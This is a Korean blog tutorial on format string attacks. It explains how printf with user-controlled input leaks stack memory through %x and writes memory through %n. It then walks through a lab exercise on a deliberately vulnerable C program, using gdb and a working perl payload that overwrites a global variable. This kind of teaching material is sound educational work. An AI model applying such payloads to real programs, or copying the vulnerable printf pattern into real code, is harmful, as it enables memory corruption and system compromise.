시스템 해킹 실습 -6 . Format String Attack 포맷스트링 공격

2024. 7. 19. 17:26Information Security 정보보안/Vulnerability Analysis 취약점 분석

728x90

배울내용: 

시스템 해킹

단위공격 기술

포맷스트링 공격  발생 원리

포맷스트링 공격 실습 

포맷스트링 공격  취약점  방지 방법

메모리 취약점

포맷스트링 공격  이란? 

Format String Attack 

 

 

 

 

 



 

 

 

 

 

 

 

사진 출처 : https://www.infosecinstitute.com/resources/application-security/format-string-bug-exploration/

 

 

 

 

 

포맷스트링 공격이란?

 

포맷스트링 공격은 프로그램에 입력된 문자열 데이터가 명령으로 해석될 때 발생다. 이러한 방식으로 공격자는 코드를 실행하거나 스택 메모리 일부를 읽거나 실행중인 프로그램에 Segmentation Fault를 발생시켜 시스템에 의도되지 않은 동작을 일으킬 수 있다

 

 

이 공격은 주로 C와 C++과 같은 저수준 프로그래밍 언어에서 발생하며, printf()같은 형식 문자열을 사용하는 함수에서 자주 발견된다.

 

 

 

 

 

공격 방식

포맷 스트링 공격은 다음과 같은 경우 발생한다

  1. 입력값을 직접 형식 문자열로 사용: 사용자의 입력값을 형식 문자열 함수(예: printf())의 인자로 직접 사용할 때 발생하는데 이 경우, 사용자가 특별히 조작된 입력값을 제공하면 시스템 메모리에 대한 임의 접근이 가능해진다.

 

#include <stdio.h>
int main() {
    char buf[512];
    fgets(buf,512,stdin);
    printf(buf);
    return 0;
}

 

위에 코드를 보면 printf 에 buf 뒤에 인자값이 나와야하지만 나오지 않았음으로 이걸실행했을떄

Printf 함수에 %를 만날떄마다 뒤에있는문자 방식을보고 뒤에 인자가 있으면 하나씩 끌어다 옮기는게 안되게 된다. 

 

%x %x %x %x %x %x %x

 

이떄, 위와 같이 입력값에 입력 해주면 

 

이런식으로 나온다

그러면 200뒤에 이후에는 print 함수가 실행되기 직전의 esp  상태를 나타내게 된다 

즉 , 이는 포인터(esp)와 관련이 있으며, printf가 실행되기 전에 스택에 저장된 값들을 출력하는 것이다

 

 

또하나 데이터를 쓰는 format string 이 있다

%n 라는 친구는 지금까지 출력된 글자의 개수를 뒤에 포인터에 저장한다

이는 printf와 같은 함수에서 %n은 현재까지 출력된 문자 수를 해당 위치의 인자로 전달된 정수형 변수에 저장한다.

이 기능을 악용하면 메모리의 특정 위치에 원하는 값을 쓸 수 있게 된다.

 

 

 

 

예시를 들면

 

#include <stdio.h>

int main() {
    int val = 0;
    printf("12345%n\n", &val);
    printf("val: %d\n", val);
    return 0;
}

 

이렇게 val 이 0 으로 할당되고 아래에 val 을 출력하는게 있는데 중간에 12345%n 이 있으면 

어떻게 출력이 될까?

 

 

12345
val: 5

 

바로 이런식으로 출력이 된다 

그러한이유는 위에서 알려주었다시피 지금까지 출력된 글자의 개수를 뒤에 포인터에 저장하기 떄문이다 

이를이용해서 특정위치에 원하는 값또한 바꿀수있다. 

 

 

실습

 

 

 

 

코드작성

format_1.c

/*
    gcc -m32 -no-pie format_1.c -o format_1 
*/

#include <stdio.h>

int answer = 0x9047;

void main(){
    char buf[512] = {0,};
    fgets(buf, 511, stdin);
    printf(buf);
    if(answer == 0xbeef){
        printf("You Win!\n");
    }
}

 

 

위에는 보기에는 간단하다 그러나 answer 가 0x9047 인데 format string 공격으로 이를 beef 로 바꿔주기만 하면된다.

 

 

 

 

 

 

우선 gdb 를 실행해서 answer 를 확인해보면 주소( p &answer와 값(p answer) 이 들어가있는걸 볼수있다 

answer 주소: 0x804c028

answer 주소 값: 0x9047 

 

 

 

이제 pd main 으로해서 메인코드를 전체적으로 훌터보면 

 

 

 

 

print 되는 b *main+116 에서 브레이크 포인트 걸고  run(시작)  시키고 puts에  AAAA 넣어본다

(beef 비교하기 직전 printf 에서 멈춰서 본다 ) 

 

 

 r → AAAA → x/16/wx $esp 

그리고 esp 를 확인해보면

 

 

 

 

위에 ESP 레지스터에도 AAAA 가 들어간게 보이고 

x/16wx 로 esp 에 잘들어갔는지 보면

 

 

 

8번째에 위치하는곳에 0x41414141 (AAAA) 가 들어가있는걸 볼수가있다

그런데 정확히는 7번쨰의 위치라고 할수가 있다 

그이유는 1번쨰에는 0xffffce4c 이다 그런데 이주소는  

 

 

arg[0] 인덱스가 0으로부터 시작되니 0이고 1번은 0x00001ff 부터해서 7번쨰 주소는 0x41414141 이 되는 것이다.

그럼이제 여기위치에 무슨값이든지 넣을수있다는 뜻인데   0x804c028 를 표현할수없어서 새로운 명령어로 넣어줘야한다

 

 

 

 

 r <<< `perl -e ‘print “\x01\x02\x03\x04”’

 

주어진 명령어는 Unix-like 시스템에서 사용되는 명령어로, Perl을 이용해 특정 바이트 문자열을 생성하고 실행하는 것이다. 

 

 

그러면 저걸 실행한 뒤에 다시보자 

 

 

이렇게 값이들어간걸 볼수있고

 

 

7번째의 위치에 0x04030201 이 들어가있는걸 볼수있다

\x01\x02\x03\x04 이렇게 입력했는데 저렇게 들어가는거는 리틀 엔디언과 빅엔디언의 이해하면 알수있다

 

리틀 엔디언과 빅 엔디언: 컴퓨터 시스템은 데이터를 저장할 때 리틀 엔디언(작은 바이트가 먼저 저장됨)이나 빅 엔디언(큰 바이트가 먼저 저장됨) 방식으로 데이터를 저장할 수 있다. 만약 리틀 엔디언 방식으로 데이터를 해석했다면, 바이트 순서가 바뀔 수 있다

 

아래에서 좀더 자세히 볼수있다

 

https://sarimus.tistory.com/85

 

Reverse Engineering DAY_004 PE 파일 구조, 정적 분석, PEview, PE File 생성과정, DOS_Header, DOS_Stub, NT_Header, Li

배울내용: PE 파일 구조 정적 분석 PEview PE File 생성과정 DOS_Header DOS_Stub NT_Header Little Endian Big Endian 리틀 엔디안 빅엔디안 디버거 도구 PE 파일 Reversing Engineering 리버싱 엔지니어링 기초 지난 학습

sarimus.tistory.com

 

 

 

 

 

그러면 위에걸 이용해서 answer 에 주소를 넣으면 된다 , 아까 봤던 asnwer 의 주소는 아래와 같이 확인 헀었다

 

answer 주소: 0x804c028

answer 주소 값: 0x9047 

이제 이걸 이용해서 

 

 

 

answer 의 주소인  0x8004c028 을 아까 perl 명령문 에다가 넣어주면 된다 그런데 7번쨰의 위치에다가 넣어준다. 

 

`perl -e ‘print “\x28\xc0\x04\x08”, “%p%p%p%p%p%p%n”’`

 

그리고 asnwer 이 비교하는게  0xbeef 이란걸 볼수있는데 이는 HEX 값으로 DEC (정수값)으로 바꾸면 아래와 같이 된다

 

 

 

 

계산기로 HEX 값에 BEEF 넣으면 DEC로  48879 가 나온다 그래서 %n 앞에 1개의 %p 대신에 %48879c 를 넣어주고 실행하면 b1f1 으로 바뀐다 

 

 

 

그이유는 %n의 특성을 이해하면 알수있다 \x28\xc0\x04\x08 이것의  앞에 있던 길이또한 더해줘야하니 Bf1F 에서 BEEF 를 뺴주면 된다 그러면 그값이 48  ( HEX로는 30 , DEX 로는 48 )  인걸 알수있다

 

이값을 더해서 다시 명령어 입력해주면 

 

`perl -e ‘print “\x28\xc0\x04\x08”, “%p%p%p%p%p %48831c%n”’`

 

 

 

하면 성공적으로 answer 에 beef 에 넣을수있다 그리고 실행하면 성공할것이다. 

 

728x90